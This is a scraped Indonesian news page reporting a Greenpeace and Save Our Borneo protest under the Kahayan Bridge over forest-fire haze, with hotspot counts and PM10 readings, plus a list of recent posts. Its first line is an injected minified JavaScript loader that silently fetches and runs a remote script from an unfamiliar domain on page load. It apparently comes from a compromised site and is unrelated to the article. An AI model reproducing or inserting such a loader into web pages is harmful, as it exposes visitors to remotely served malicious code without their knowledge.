(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PALANGKARAYA

Pesan Khusus Greenpeace dan Save Our Borneo ke Jokowi di Jembatan Sungai Kahayan


PALANGKARAYA, Pagi ini, aktivis Greenpeace bersama Save Our Borneo mengirimkan dua pesan khusus kepada Presiden Joko Widodo di bawah Jembatan Sungai Kahayan Palangkaraya yang masih diselimuti kabut asap kebakaran hutan dan lahan.

Penegakan hukum adalah kunci mencegah kabut asap dengan menghukum berat para pelaku korporasi dan mencabut izin mereka yang sayangnya belum pernah dilakukan hingga saat ini. Mereka mengatakan, Presiden juga harus segera menerima keputusan MA yang memenangkan warga penggugat dan membuat peraturan serta membangun rumah sakit khusus korban asap di daerah terdampak.

“Presiden juga harus mencegah kebakaran hutan dengan memperkuat Komisi Pemberantasan Korupsi dan bukan memperlemahnya, karena korupsi sumber daya alam banyak dilakukan dengan menjual izin-izin pembukaan hutan Indonesia oleh pejabat yang berwenang.”

Kamu juga bisa bantu dukung aksi ini di act.gp/PadamkanApi dan desak pemerintah perbaiki regulasi dan kebijakan pencegahan kebakaran hutan.

Sebelumnya, kebakaran Hutan dan Lahan (Karhutla) masih berlanjut. Pantauan Badan Nasional Penanggulangan Bencana (BNPB), masih ada 2.288 titik api seluruh Indonesia hingga Sabtu (21/9) pukul 16.00 WIB.

Petugas terus mengupayakan hujan buatan. “Ada enam provinsi yang menjadi prioritas pemadaman kebakaran hutan dan lahan,” kata Plt Kepala Pusat Data dan Informasi Masyarakat BNPB Agus Wibowo, Minggu (22/9).

Ia menyebut, upaya pemadaman besar-besaran dilakukan di Riau (114 titik), Jambi (408 titik), Sumatera Selatan (219 titik), Kalimantan Barat (266 titik), Kalimantan Tengah (810 titik) dan Kalimantan Selatan (74 titik).

Kondisi keenam provinsi dalam keadaan berasap. Sedangkan kualitas udara berdasar konsentrasi PM10 adalah: Riau 314 (berbahaya), Jambi 238 (sangat tidak sehat), Sumatera Selatan 155 (tidak sehat), Kalimantan Barat 324 (berbahaya), Kalimantan Tengah 409 (berbahaya) dan Kalimantan Selatan 22 (baik).(digdo)

Reporter : Digdo
Editor : Cell

 


Desy Arfianty

Recent Posts

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

31 menit ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

56 menit ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

1 jam ago

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

4 jam ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

4 jam ago

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

5 jam ago

This website uses cookies.